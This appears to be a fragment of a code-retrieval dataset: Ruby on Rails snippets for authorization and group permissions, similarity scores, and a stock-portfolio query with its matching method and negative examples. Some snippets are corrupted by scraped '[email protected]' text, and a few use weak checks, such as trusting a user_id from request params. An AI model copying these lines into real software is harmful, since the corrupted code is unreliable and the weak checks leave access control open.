"def permit\n user = User.find(params[:user_id])\n group = Group.find(params[:id])\n membership = Membership.find_by(user: user, group: group)\n if membership\n membership.update_column(:active, true)\n membership.touch # For showing on dashboard.\n end\n redirect_back fallback_location: '/'\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def has_access(developer)\r\n current_user.id == developer.id\r\n end",
"def admin_auth\n user = User.find_by(id: params[:user_id])\n if ! user\n \trender json: {\n \"error\" => \"Unauthorized\"\n }, status: 401\n return\n end \n if user.is? :admin\n render json: {}, status: 201\n else\n render json: {\n \"error\" => \"Unauthorized\"\n }, status: 401\n end \n end",
"def check_user_admin_permissions\n return if params[:action] == 'confirm_invitation' && params[:controller] == 'teammates'\n current_user_teammate = @current_user.teammates.where(pitch_id: @pitch.id).take\n redirect_to forbidden_path unless admin_teammate(current_user_teammate)\n end",
"def authorize?(user)\n user && user.moderator?\n end",
"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def restrict_access\n\t authenticate_or_request_with_http_token do |token, options|\n\t User.exists?(api_key: token)\n\t end\n\tend",
"def authorize_user\n # stores action past, gathered by params, and stores action into action variable\n action = params['action']\n\n # passes current post and all of its keys and values, via params, inside variable post\n post = Post.find(params[:id])\n\n # if the post.user id is the same as the current user id, then pass all actions as true and\n # exit out. Machine here thinks (if not the same user id), \"I am a different id.\n # and am exiting loop and headed to the next bit of information\"\n return true if post.user == current_user\n\n # The user was not the current user (see above), so what user are you?\n # If the destroy action is generated, the post.user id will need to match a\n # moderator user id of 2 or an admin id of 1, else redirect back to post with directed error\n if action == 'destroy' && (post.user == !current_user || !current_user.admin?)\n flash[:alert] = 'You must be an admin to do that'\n redirect_to [post.topic, post]\n # same idea as destroy (above), except for the 'update' action\n elsif action == 'update' && !(current_user.moderator? || current_user.admin?)\n flash[:alert] = 'You must be an admin or a moderator to do that'\n redirect_to [post.topic, post]\n end\n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def authorize_admin\n\t\tauthorize( ADMIN_USER_LEVEL ) \n\tend",
"def profile_authorization\n #if view admins' profile, allow only admin\n return false unless(params[:id])\n user = User.find(params[:id])\n return false unless user\n return admin_authorization if user.admin?\n return true if GraderConfiguration[\"right.user_view_submission\"]\n\n #finally, we allow only admin\n admin_authorization\n end",
"def check_access_control_all\n @user = User.find(params[:user_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @user.id\n rescue\n response_access_denied\n end",
"def create_non_admin_user_authenticate\n post '/users', 'username' => 'testuser', 'password' => 'testpassword', 'email_address' => '[email protected]'\n id_user = last_response.json_body['id']\n digest_authorize 'testuser', 'testpassword'\n id_user\nend",
"def admin_required\n current_user.is_admin? || access_denied\n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def admin_update\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n\n if @guidance_group.update(guidance_group_params)\n flash.now[:notice] = success_message(@guidance_group, _('saved'))\n else\n flash.now[:alert] = failure_message(@guidance_group, _('save'))\n end\n render :admin_edit\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def authorize_muser\n puts \"AUTHORIZE USER\"\n puts \"user id #{get_current_muser.id}\"\n puts \"params: #{params[:id]}\"\n render json: { status: 401, message: 'Unauthorized'} unless get_current_muser.id == params[:id].to_i\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def getUserAllowed_to_edit( entity_id, user_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n return doCurl(\"get\",\"/user/allowed_to_edit\",params)\n end",
"def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end",
"def restrict_access\n api_key = APIKey.find_by(access_token: params[:access_token])\n render plain: \"You aren't authorized, buster!\", status: 401 unless api_key\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def permission_grants()\n return MicrosoftGraph::Me::JoinedTeams::Item::PermissionGrants::PermissionGrantsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def authorization(*args, &block); end",
"def find_oauth_access_token\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def logged_in_with_admin_token?\n !params[:token].blank? && self.action_name.to_sym == :create_as_admin\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def approve_group\n if params[:g].present?\n if request.post? #Approve\n @group2 = Group.find(params[:g])\n if @group.approve_group(@group2)\n flash[:success] = \"You're now connected to #{@group2.name}.\"\n @group.notify_of_new_connection(@group2)\n end\n elsif request.delete? #DENY\n @group2 = Group.find(params[:g])\n if @group.deny_group(@group2)\n flash[:success] = \"Connection denied.\"\n end\n end\n end\n redirect_to @group\n end",
"def can_create? cuser\n cuser and cuser.admin? or cuser.groups.exists? :id => Group::MOVIES\nend",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @member_groups = @user.groups_where_member\n @admin_groups = @user.groups_where_admin\n end",
"def access_control\n \n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def user_access_control_all\n @user = User.find(params[:user_id])\n\n unless [email protected]? && current_user.admin? || current_user?(@user)\n response_access_denied\n end\n\n rescue\n response_access_denied\n end",
"def set_perms(data)\n permission = data[:permission] || 2 \n result = @client.api_request(\n :method => \"usergroup.massAdd\", \n :params => {\n :usrgrpids => [data[:usrgrpid]],\n :rights => data[:hostgroupids].map { |t| {:permission => permission, :id => t} }\n }\n )\n result ? result['usrgrpids'][0].to_i : nil\n end",
"def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def authorize\n render json: { error: 'You are not authorized to modify this data'} , status: 401 unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end",
"def ensure_proper_permission!\n @chatroom = Chatroom.find params[:chatroom_id]\n\n user = @chatroom.user\n study_group = @chatroom.study_group\n\n unless current_user == user || study_group&.has_member?(current_user)\n head 401\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\nend",
"def admin_of(group)\n current_user.is_admin?(group)\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do |token, options|\n ApiKey.exists?(access_token: token)\n end\n end",
"def require_admin!\n # return if current token found and active\n return if current_admin\n\n # render error\n respond_with_error :unauthorized, I18n.t('not_authorized')\n end",
"def access_control(object = nil)\n if object.present? && @cur_user.present?\n author = author?\n end\n perm = Permission\n perm.getReq(params[:controller], params[:action], request.request_method)\n redirect t('redirect.denied') unless perm.grant?(user_perm, author)\n end",
"def set_access_rights\n # @access_rights = current_v1_user.rights.where(campground_id: params[:campground_id])\n @access_rights = User.find(1).rights.find_by(campground_id: params[:campground_id])\n end",
"def admin_update_permissions\n @user = User.find(params[:id])\n authorize @user\n\n perms_ids = permission_params[:perm_ids].blank? ? [] : permission_params[:perm_ids].map(&:to_i)\n perms = Perm.where(id: perms_ids)\n privileges_changed = false\n current_user.perms.each do |perm|\n if @user.perms.include? perm\n unless perms.include? perm\n @user.perms.delete(perm)\n @user.remove_token! if perm.id == Perm.use_api.id\n privileges_changed = true\n end\n elsif perms.include? perm\n @user.perms << perm\n if perm.id == Perm.use_api.id\n @user.keep_or_generate_token!\n privileges_changed = true\n end\n end\n end\n\n if @user.save\n if privileges_changed\n deliver_if(recipients: @user, key: 'users.admin_privileges') do |r|\n UserMailer.admin_privileges(r).deliver_now\n end\n end\n render(json: {\n code: 1,\n msg: success_message(perms.first_or_initialize, _('saved')),\n current_privileges: render_to_string(partial: 'users/current_privileges',\n locals: { user: @user }, formats: [:html])\n })\n else\n render(json: { code: 0, msg: failure_message(@user, _('updated')) })\n end\n end"
] |
[
"0.6607673",
"0.62952274",
"0.62482536",
"0.621722",
"0.6177386",
"0.61736095",
"0.6147965",
"0.6136622",
"0.60611504",
"0.5976173",
"0.5948618",
"0.5939546",
"0.59322554",
"0.5928344",
"0.5921388",
"0.59211123",
"0.5912541",
"0.59036434",
"0.5895558",
"0.5873199",
"0.5865671",
"0.584713",
"0.58156836",
"0.57977515",
"0.5795274",
"0.5794488",
"0.5787126",
"0.5781153",
"0.57655007",
"0.5761214",
"0.57609105",
"0.5760739",
"0.5748941",
"0.5743205",
"0.5738448",
"0.5726519",
"0.5720854",
"0.57174116",
"0.5711119",
"0.57081974",
"0.5705925",
"0.5700778",
"0.5695306",
"0.5681376",
"0.56806976",
"0.56746423",
"0.56612694",
"0.56582713",
"0.5640974",
"0.56303936",
"0.562991",
"0.56272054",
"0.562654",
"0.5624929",
"0.56231374",
"0.56228673",
"0.56219506",
"0.56200165",
"0.56150174",
"0.56101966",
"0.560618",
"0.5604203",
"0.56021184",
"0.56004953",
"0.55921656",
"0.5589685",
"0.5588152",
"0.5586959",
"0.55858934",
"0.558226",
"0.555275",
"0.5549484",
"0.5545915",
"0.55457073",
"0.5545309",
"0.5544014",
"0.5542627",
"0.5541082",
"0.5534492",
"0.55340505",
"0.55339664",
"0.55303425",
"0.5529611",
"0.552869",
"0.5528682",
"0.55283225",
"0.55259174",
"0.5522516",
"0.5520515",
"0.551678",
"0.55134887",
"0.5510368",
"0.5509626",
"0.55090255",
"0.5504718",
"0.55038524",
"0.55038524",
"0.550295",
"0.54974467",
"0.54937595",
"0.5491153"
] |
0.0
|
-1
|
calculates and saves the current portfolio
|
def update_portfolio
buys = self.buyer_transactions.where("transaction_type_id = 0").select("stock_id, sum(amount) as total").group("stock_id")
sells = self.seller_transactions.where("transaction_type_id = 0").select("stock_id, sum(amount) as total").group("stock_id")
self.cash_in = self.seller_transactions.where("transaction_type_id = 1").sum('amount * price')
self.investment = 0
self.profit = 0
self.balance = self.calculate_balance
p = {}
p[:stocks] = {}
# go through transactions to get current portfolio
buys.each do |buy|
stock = Stock.find(buy.stock_id)
# add stocks to portfolio according to buys
p[:stocks][buy.stock_id] = {:amount => buy.total, :stock => stock}
sells.each do |sell|
if buy.stock_id == sell.stock_id
# subtract stocks from portfolio according to sells
p[:stocks][buy.stock_id][:amount] = buy.total - sell.total
end
end
end
p[:stocks].each do |stock_id, data|
# save portfolio in ownerships
ownership = Ownership.where(:user_id => self.id, :stock_id => stock_id).first_or_create
ownership.amount = data[:amount]
# investment: how much did the user pay for the stocks he bought last?
buys = self.buyer_transactions.where(:stock_id => stock_id).order('created_at DESC')
counter = data[:amount]
investment = 0
buys.each do |buy|
if counter - buy.amount > 0
investment += buy.price * buy.amount
else
investment += buy.price * counter
break
end
counter -= buy.amount
end
ownership.investment = investment
self.investment += investment
# avg_price: how much did the user pay for the stocks he bought last on avg
ownership.avg_price = (ownership.investment / ownership.amount).round(2)
# profit: how much money did the user make trading this stock
gains = self.seller_transactions.where(:stock_id => stock_id).sum('amount * price')
losses = self.buyer_transactions.where(:stock_id => stock_id).sum('amount * price')
ownership.profit = gains - losses
self.profit += ownership.profit
ownership.save
end
self.save
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def portfolio\n \n p = {}\n \n p[:cash_in] = self.cash_in\n p[:total_investment] = self.investment\n p[:total_profit] = self.profit\n p[:balance] = self.balance\n p[:total_stocks] = 0\n\n # copy cached ownership info into portfolio data structure\n p[:stocks] = {} \n Ownership.where(:user_id => self.id).each do |o|\n if o.amount.nil?\n o.amount = 0\n o.save\n end\n p[:stocks][o.stock_id] = {:amount => o.amount, :stock => o.stock, :investment => o.investment, :avg_price => o.avg_price, :profit => o.profit}\n p[:total_stocks] += o.amount\n end\n \n p[:total_value] = 0\n \n # calculate current value \n p[:stocks].each do |stock_id, data|\n # value: how much is the stock currently worth on the market\n data[:value] = data[:amount] * data[:stock].price\n p[:total_value] += data[:value] \n end\n\n # do some additional calculations\n p[:total_investment_rel] = ((self.investment / self.cash_in) * 100).round(2)\n p[:total_profit_rel] = StocksHelper.rel_percent p[:cash_in], p[:balance] \n p[:total_value_rel] = StocksHelper.rel_percent p[:total_investment], p[:total_value] \n\n return p\n\n end",
"def get_portfolio\n return self.total_value_in_stocks + self.balance\n end",
"def calculate_portfolio(portfolio = Array.new)\n\tqs = get_quote_info(get_quote_list(portfolio))\n\tportfolio.each do |p|\n\t\tp['info'] = qs[p['stock']]\n\t\tvalue_orderd = p['amount']*p['price']\n\t\tvalue_now = p['amount']*p['info'].lastTrade\n\t\tp['profit_amount'] = value_now - value_orderd\n\tend\n\treturn portfolio\nend",
"def report\n @portfolios = Portfolio.where(user_id: session[:user_id]).decorate\n Portfolio.transaction do\n Portfolio.refresh_costs(@portfolios, current_user)\n @portfolios.map(&:reload)\n end\n @portfolios.sort!{ |a,b| b.difference.to_i.abs <=> a.difference.to_i.abs }\n end",
"def set_portfolio\n @portfolio = current_user.portfolio\n end",
"def set_portfolio\n @portfolio = current_user.portfolio\n end",
"def portfolio\n nil\n end",
"def add_to_portfolio(portfolio_name)\r\n portfolio_name.add_stock(self)\r\n end",
"def get_value\n portfolio_value = 0\n @stocks.each do |stock|\n portfolio_value += stock.get_value\n end\n portfolio_value\n end",
"def portfolio_value(fake_yahoo_api)\n # Go through our positions and add them up, then add in the cash balance\n @positions.map { |key, value| fake_yahoo_api.get_latest_price(key) * @positions[key] || 0 }\n .reduce(:+) || 0\n + account_balance\n end",
"def portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:portfolio_id])\n end",
"def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end",
"def create \n transaction = Transaction.new(user_id: params[:user_id], ticker: params[:ticker], qty: params[:qty], user_close: params[:user_close], current_close: params[:current_close])\n user = User.find(transaction[:user_id])\n user_account_balance = user.account_balance \n total_stock_price = transaction.user_close * transaction.qty\n balance_minus_stock_price = user_account_balance - total_stock_price\n #checks to see if the user has sufficient funds to buy the number of stocks at the current price. Creates a Transaction that will be viewable on the users Transactions tab.\n if balance_minus_stock_price >= 0\n user.update_attribute(:account_balance, balance_minus_stock_price)\n user.save\n transaction.save\n #if this is a stock in the users portfolio already find it.\n portfolio = Portfolio.where(ticker: transaction.ticker, user_id: params[:user_id])\n if portfolio.length > 0\n current_qty = transaction.qty\n new_qty = portfolio[0].qty + current_qty\n transaction_close = transaction.user_close \n new_price = new_qty * transaction_close\n portfolio[0].update_attributes(qty: new_qty, current_close: transaction_close, total_price: new_price)\n #otherwise create a new portfolio for the stock which will be displayed on the Portfolio page.\n else\n new_price = transaction.qty * transaction.user_close\n Portfolio.create(user_id: params[:user_id], ticker: params[:ticker], qty: params[:qty], current_close: params[:current_close], total_price: new_price)\n end\n render json: transaction\n elsif balance_minus_stock_price < 0\n render json: {errors: \"You do not have the appropriate balance to purchase stocks. Please add more money to your account.\"}\n end\n end",
"def set_portfolio\n @portfolio = current_user.portfolios.find(params[:id])\n end",
"def portfolio\n @portfolio = Portfolio.find_by(id: params[:portfolio_id])\n end",
"def create\n post_variables = params[:data]\n @symbols = post_variables[:asset]\n @amount_in_cents = post_variables[:amount]\n @desired_return = post_variables[:return_level] / 100\n @epsilon = 0.0000001\n \n\t# @symbols = ['STKS','GOLD','TBLL'] #= post_variables[:assets]\n # @amount_in_cents = 100000 #= post_variables[:amount_in_cents]\n # @desired_return = 0.146 #post_variables[:desired_return]\n # @epsilon = 0.0000001\n\t\n @optimal_portfolio = MinimalRiskPortfolio.new( :return_level => @desired_return )\n @optimal_portfolio.build_portfolio_by_symbols( @symbols )\n\n respond_to do |format|\n format.html { render :xml => @optimal_portfolio.to_xml( :include => :portfolio_assets, :dasherize => false ) }\n format.json { render :json => @optimal_portfolio.to_json( :include => :portfolio_assets ) }\n format.xml { render :xml => @optimal_portfolio.to_xml( :include => :portfolio_assets, :dasherize => false ) }\n end\n end",
"def update\n @portfolio.update(portfolio_params)\n redirect_to @portfolio\n end",
"def buy_stock(portfolio_name, ticker, number_of_shares_to_buy)\n current_price = YahooFinance::get_quotes(YahooFinance::StandardQuote, ticker.upcase)[ticker.upcase].lastTrade\n total_value = number_of_shares_to_buy * current_price\n if @balance >= total_value\n ###calls has_portfolio function\n if has_portfolio(portfolio_name)\n @portfolios.each do |item|\n ###calls add_stock function in portfolio class\n ###updates balance\n if item.name == portfolio_name\n item.add_stock(ticker, number_of_shares_to_buy)\n @balance -= total_value\n end\n end\n else\n puts \"You currently do not have that portfolio. You need to create it first.\"\n end\n else\n puts \"You do not have enough money ($#{@balance} vs $#{total_value}) to buy #{number_of_shares_to_buy} shares.\"\n end\n end",
"def set_portfolio_finance\n @portfolio_finance = PortfolioFinance.find(params[:id])\n end",
"def get_portfolio\n @portfolio = Portfolio.find(params[:portfolio_id])\n end",
"def portfolio_params\n params.require(:portfolio)\n .permit(:cryptocurrency, :amount, :date_of_purchase,\n :wallet_location, :current_market_value)\n end",
"def update\n @portfolio = Portfolio.find(params[:portfolio_id])\n @trade = @portfolio.trades.find(params[:id])\n\n # @trade = Trade.new(params[:trade])\n @trade.assign_attributes(params[:trade])\n @stock2 = StockQuote::Stock.quote(\"#{params[:trade][:stock]}\")\n @trade.buy_price = @stock2.last\n\n respond_to do |format|\n # if @trade.update_attributes(params[:trade])\n if @trade.save\n format.html { redirect_to [@portfolio, @trade], notice: 'Trade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n \n @portfolio = find_instance\n totVal = @portfolio.updateVals #important\n \n @portfolio.update_attribute(:value, totVal)# = totVal\n #@portfolio.save\n \n #rh = @portfolio.getRelWeights #returns rel weight\n \n #@charturl = generatePieChart(rh)\n #logger.info @charturl\n \n hobo_show\n \n end",
"def update\n if @portfolio.update(portfolio_params)\n render json: @portfolio\n else\n render json: @portfolio.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create_portfolio\n\t @user = User.last\n\t @portfolio = Portfolio.new\n\t @user.portfolio = @portfolio\n\t @user.save\n\t @portfolio.save\n\tend",
"def create\n @purchase = Purchase.new(purchase_params)\n @portfolio = current_user.portfolio\n\n @purchase.user_id = current_user.id\n @purchase.exch_rate = $oer.exchange_rate(:from => @purchase.from_currency, :to => @purchase.to_currency)\n\n if @purchase.amount_spent.nil? or @purchase.amount_spent <= 0\n flash.now[:alert] = 'Must supply purchase amount greater than 0'\n render :new\n return\n else\n @purchase.amount_bought = @purchase.exch_rate * @purchase.amount_spent\n end\n\n # Calculate portfolio entries\n from_curr_value = @portfolio.read_attribute(@purchase.from_currency)\n new_from_value = from_curr_value - @purchase.amount_spent\n\n to_curr_value = @portfolio.read_attribute(@purchase.to_currency)\n new_to_value = to_curr_value + @purchase.amount_bought\n\n # Update portfolio\n @portfolio.write_attribute(@purchase.from_currency, new_from_value)\n @portfolio.write_attribute(@purchase.to_currency, new_to_value)\n\n respond_to do |format|\n if @portfolio.save and @purchase.save\n if current_user.purchases.count % purchases_before_snapshot == 0\n snapshot_data = @portfolio.attributes\n snapshot_data.delete(\"id\")\n snapshot_data.delete(\"created_at\")\n snapshot_data.delete(\"updated_at\")\n snapshot_data.delete(\"user_id\")\n\n current_user.snapshots.create(snapshot_data)\n end\n\n flash[:notice] = 'Purchase was successfully created.'\n format.html { redirect_to purchases_path }\n format.json { render :index, status: :created, location: @purchase }\n else\n # Saving the portfolio or purchase failed\n if @purchase.errors.any?\n # There were errors in the purchase, alert client\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n else\n # There were errors in the portfolio, alert client\n flash.now[:alert] = 'Insufficient Funds'\n format.html { render :new }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def set_projectportfolio\n @projectportfolio = Projectportfolio.find(params[:id])\n end",
"def create\n portfolio = Portfolio.new(user_id: current_user.id)\n if portfolio.update_attributes(portfolio_params)\n render json: portfolio, status: :created\n else\n render json: portfolio.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def add_stock \n\t\tif params[:ok] # OK\n\t\t\tif params[:profile][:name] == '' # If choose to add by ticker\n profile = Profile.find_by_ticker params[:profile][:ticker] \n unless profile.nil? \n p = Portfolio.new\n p.profile = profile\n User.find(session[:user_id]).portfolios << p\n else\n flash[:notice] = \"No such ticker called #{params[:profile][:ticker]}. Please re-select.\"\n redirect_to :action => 'new'\n return\n end\n else # If choose to add by company name\n profile = Profile.find_by_name params[:profile][:name]\n unless profile.nil?\n p = Portfolio.new\n p.profile = profile\n User.find(session[:user_id]).portfolios << p\n else\n flash[:notice] = \"No such company name called #{params[:profile][:name]}. Please re-select.\"\n redirect_to :action => 'new'\n return \n end \n end\n reset_without_agent_reserved\n flash[:notice] = \"#{profile.name}'s stock was successfully added to your portfolio.\"\n redirect_to :action => 'list'\n\t\telse # Cancel\n\t\t\tredirect_to :action => 'list'\n\t\tend\n end",
"def create\n @portfolio = Portfolio.new(portfolio_params)\n @portfolio.user = current_user\n @portfolio.save\n redirect_to portfolios_path\n end",
"def create\n @portfolio = Portfolio.find(params[:portfolio_id])\n @trade = @portfolio.trades.new(params[:trade])\n @stock2 = StockQuote::Stock.quote(\"#{params[:trade][:stock]}\")\n @trade.buy_price = @stock2.last\n \n respond_to do |format|\n if @trade.save\n format.html { redirect_to [@portfolio, @trade], notice: 'Trade was successfully created.' }\n format.json { render json: @trade, status: :created, location: @trade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trade.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def annualized_portfolio_amount_needed\n savings_portion_needed * 12.0\n end",
"def sell_stock(portfolio_name, ticker, number_of_shares_to_sell)\n total_value = number_of_shares_to_sell * ticker.price\n ###calls has_portfolio function\n if has_portfolio(portfolio_name)\n @portfolios.each do |item|\n if item.name == portfolio_name\n ###calls get_shares_of_stock function in portfolio class\n ###updates balance\n if item.get_shares_of_stock(ticker) >= number_of_shares_to_sell\n item.remove_stock(ticker, number_of_shares_to_sell)\n @balance += total_value\n else\n puts \"You do not have enough #{ticker.ticker.upcase} shares to sell #{number_of_shares_to_sell} shares.\"\n end\n end\n end\n else\n puts \"You currently do not have that portfolio. You need to create it first.\"\n end\n end",
"def create\n\n\n @portfolio_item = Portfolio.new(portfolio_params)\n\n respond_to do |format|\n if @portfolio_item.save\n format.html { redirect_to portfolios_path, notice: 'Your portfolio item is now live.' }\n else\n format.html { render :new }\n end\n end\n end",
"def slider_back_calculation(portfolio,stock_name,quantity,lock_folder) \n new_lock_folder=Array.new\n for lock in lock_folder\n for folder in portfolio\n if(folder[\"folder\"]==lock)\n new_lock_folder.push(folder)\n portfolio.delete(folder)\n end\n end\n end\n #print new_lock_folder\n #print \"\\n I am new_open_folder\"\n #print portfolio\n for folder in portfolio\n for stock in folder[\"stocks\"]\n if(stock[\"name\"]==stock_name)\n changed_folder=folder\n break\n break\n end\n end\n end\n # updating folder and stock weight of changed_folder\n for stock in changed_folder[\"stocks\"]\n if(stock[\"name\"]==stock_name)\n old_weight=stock[\"weight\"].to_f\n stock[\"weight\"]=quantity.to_f\n change_in_weight=quantity-old_weight\n end \n end\n changed_folder[\"weight\"]=\"%.1f\" % (change_in_weight+changed_folder[\"weight\"].to_f) \n new_lock_folder.push(changed_folder)\n portfolio.delete(changed_folder)\n #print portfolio\n \n #updating weight of other folder\n for folder in portfolio\n c=total_weight(portfolio)\n #print \" value returned from fucntion total_weight \\n\"\n #print c\n d=folder[\"weight\"].to_f\n e=(d)*(change_in_weight)/c\n folder[\"weight\"]=\"%.1f\" % (d-e)\n change_in_folder_weight=d-folder[\"weight\"].to_f\n for stocks in folder[\"stocks\"]\n #print \" i am working till fine after stocks\"\n stock_total_weight=total_weight(folder[\"stocks\"])\n #print \"stock_total_weight\"\n j=(stocks[\"weight\"].to_f)*(change_in_folder_weight)/stock_total_weight\n print j\n stocks[\"weight\"]=\"%.1f\" % (stocks[\"weight\"].to_f-j)\n end\n end\n\n #print portfolio \n \n\n #changed_folder,stock_name,quantity\n #print new_lock_folder \n res=portfolio+new_lock_folder\n return res\n print \"\\n\"\nend",
"def update\n respond_to do |format|\n if @portfolio.update(portfolio_params)\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @portfolio }\n else\n format.html { render :edit }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @portfolio = Portfolio.new(params[:portfolio])\n\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to(@portfolio, :notice => 'Portfolio was successfully created.') }\n format.xml { render :xml => @portfolio, :status => :created, :location => @portfolio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @portfolio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @portfolio = Portfolio.new(portfolio_params)\n\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n format.json { render :show, status: :created, location: @portfolio }\n else\n format.html { render :new }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @positions = @portfolio.positions\n end",
"def print_portfolio(portfolio = Array.new)\n\ttemplate=<<EOT\nSTOCK:\\tLASTTRADE €\n\\tAMOUNT @ PRICE € -> PROFIT €\nEOT\n\tmoney = portfolio.reduce(0) do |memo, p|\n\t\tt = template.dup\n\t\tt.sub!('STOCK', p['stock'])\n\t\tt.sub!('LASTTRADE', \"#{p['info'].lastTrade}\")\n\t\tt.sub!('AMOUNT', p['amount'].to_s)\n\t\tt.sub!('PRICE', p['price'].to_s)\n\t\tt.sub!('PROFIT', p['profit_amount'].to_s)\n\t\tputs t\n\t\tmemo += p['profit_amount']\n\tend\n\tputs \"-> #{money} €\"\nend",
"def index\n @portfolio_finances = PortfolioFinance.all\n end",
"def update\n #@portfolio_item = Portfolio.find(params[:id])\n respond_to do |format|\n if @portfolio_item.update( portfolio_params)\n format.html { redirect_to portfolios_path, notice: 'Portfolio record was updated!' }\n else\n format.html { render :edit }\n end\n end\n end",
"def index\n @portfolio_items = Portfolio.all\n end",
"def update\n @portfolio = Portfolio.find(params[:id])\n\n respond_to do |format|\n if @portfolio.update_attributes(params[:portfolio])\n format.html { redirect_to(@portfolio, :notice => 'Portfolio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @portfolio.errors, :status => :unprocessable_entity }\n end\n end\n end",
